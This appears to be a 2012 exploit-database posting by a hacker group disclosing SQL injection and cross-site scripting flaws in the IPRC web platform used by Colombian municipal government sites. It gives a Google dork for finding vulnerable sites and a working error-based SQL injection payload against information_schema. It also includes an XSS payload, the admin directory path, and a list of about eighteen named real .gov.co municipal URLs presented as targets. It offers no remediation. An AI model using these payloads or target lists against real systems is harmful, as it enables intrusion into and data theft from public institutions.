IPRC [Internet Para La Rendicion de Cuentas ] - SQL InjecTi

+-------------------------------------------------+
 l # Author: Diego Asencio                        l
 l # Twitter: @Diego_Asencio                      l
 l # E-mail: diego.asencio@unillanos.edu.co       l
 l # WorkGroup: [!]nside [0]utside - T34M         l
 l # Twt_WG: @insid30utsid3                       l
+-------------------------------------------------+

#################
#  INFORMACION  #
#################
###########################################################################################################
# Exploit Title: IPRC  -  SQL InjecTion / Cross-Site Scripting
# Vendor Name: Internet Para La Rendicion de Cuentas
# Url Vendor:  http://www.iprc.org.co
# Category: WebApps
# Risk: Critical
# GoogleDork: "index.shtml?apc=I-xx-1-&x="  [or] "sitio.shtml?apc=B1--&s=B&nocache=1&als%5Bvbuscar%5D= "
# 0day exploits : 1337day.com Inj3ct0r Exploit DataBase
###########################################################################################################

#################
#    3XPL0IT    #
#################
###########################################################################################################
#  -  [SQL]  -
#   http://www.[M/pio]-[Dep/to].gov.co/index.shtml?apc=I-xx-1-&x=[SQL]
#
#  -  [XSS]  -
#   http://www.[M/pio]-[Dep/to].gov.co/sitio.shtml?apc=B1--&s=B&nocache=1&als%5Bvbuscar%5D=[XSS]
#
#    (  XpL SQL )
#
#   2192436 and(select 1 from(select count(*),concat((select (select %String_Col%) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from `information_schema`.tables group by x)a) and 1=1
Count(table_name) of information_schema.tables where table_schema=0x64625F3835303130
#
#   (XpL XSS )
#
#   "><img src=http://1337day.org/img/logo_green.jpg onerror=alert("1337");>
#
#  -----------------------------------------------------------------------------------------------------
#                 [ SAMPLE'S WEBSITES AFFECTED (SQL && XSS) INJ3CTI0N ]
#  ______________________________________________________________________________________________________
#
#                                       # -  SQL - #
#    http://www.puertolopez-meta.gov.co/index.shtml?apc=I-xx-1-&x=[SQL]
#    http://www.aguazul-casanare.gov.co/index.shtml?apc=I-xx-1-&x=[SQL]
#    http://www.abejorral-antioquia.gov.co/index.shtml?apc=I-xx-1-&x=[SQL]
#    http://www.cantagallo-bolivar.gov.co/index.shtml?apc=I-xx-1-&x=[SQL]
#    http://www.caldono-cauca.gov.co/index.shtml?apc=I-xx-1-&x=[SQL]
#    http://www.belen-boyaca.gov.co/index.shtml?apc=I-xx-1-&x=[SQL]
#    http://www.istmina-choco.gov.co/index.shtml?apc=I-xx-1-&x=[SQL]
#    http://www.riodeoro-cesar.gov.co/index.shtml?apc=I-xx-1-&x=[SQL]
#    http://www.yopal-casanare.gov.co/index.shtml?apc=I-xx-1-&x=[SQL]
#    http://www.sucre-cauca.gov.co /index.shtml?apc=I-xx-1-&x=[SQL]
#  _______________________________________________________________________________________________________
#
#                                         #  - XSS  - #
#    http://www.caqueza-cundinamarca.gov.co/sitio.shtml?apc=B1--&s=B&nocache=1&als%5Bvbuscar%5D=[XSS]
#    http://www.caracoli-antioquia.gov.co/sitio.shtml?apc=B1--&s=B&nocache=1&als%5Bvbuscar%5D=[XSS]
#    http://www.caramanta-antioquia.gov.co/sitio.shtml?apc=B1--&s=B&nocache=1&als%5Bvbuscar%5D=[XSS]
#    http://www.carepa-antioquia.gov.co/sitio.shtml?apc=B1--&s=B&nocache=1&als%5Bvbuscar%5D=[XSS]
#    http://www.www.carmendecarupa-cundinamarca.gov.co/sitio.shtml?apc=B1--&s=B&nocache=1&als%5Bvbuscar%5D=[XSS]
#    http://www.carolinadelprincipe-antioquia.gov.co /sitio.shtml?apc=B1--&s=B&nocache=1&als%5Bvbuscar%5D=[XSS]
#    http://www.cartagenadelchaira-caqueta.gov.co/sitio.shtml?apc=B1--&s=B&nocache=1&als%5Bvbuscar%5D=[XSS]
#    http://www.castillalanueva-meta.gov.co/sitio.shtml?apc=B1--&s=B&nocache=1&als%5Bvbuscar%5D=[XSS]
#
########################################################################################################
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::          Directory Admin :  /apc-aa/admin/          ::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::



#############
#  Greet's  #
#################################################################################
#    @Sr_Xaoc -  @ZiriusOpCol - @n4p573r  - @Nick_Nitrous - @Ur0b0r0x           #
#      @inj3ct0r - @Insid30utsid3 - @Anonymous_Co - @The_RevolutionH            #
#                               @unillanos_                                     #                                                        #                                  2012                                         #
#################################################################################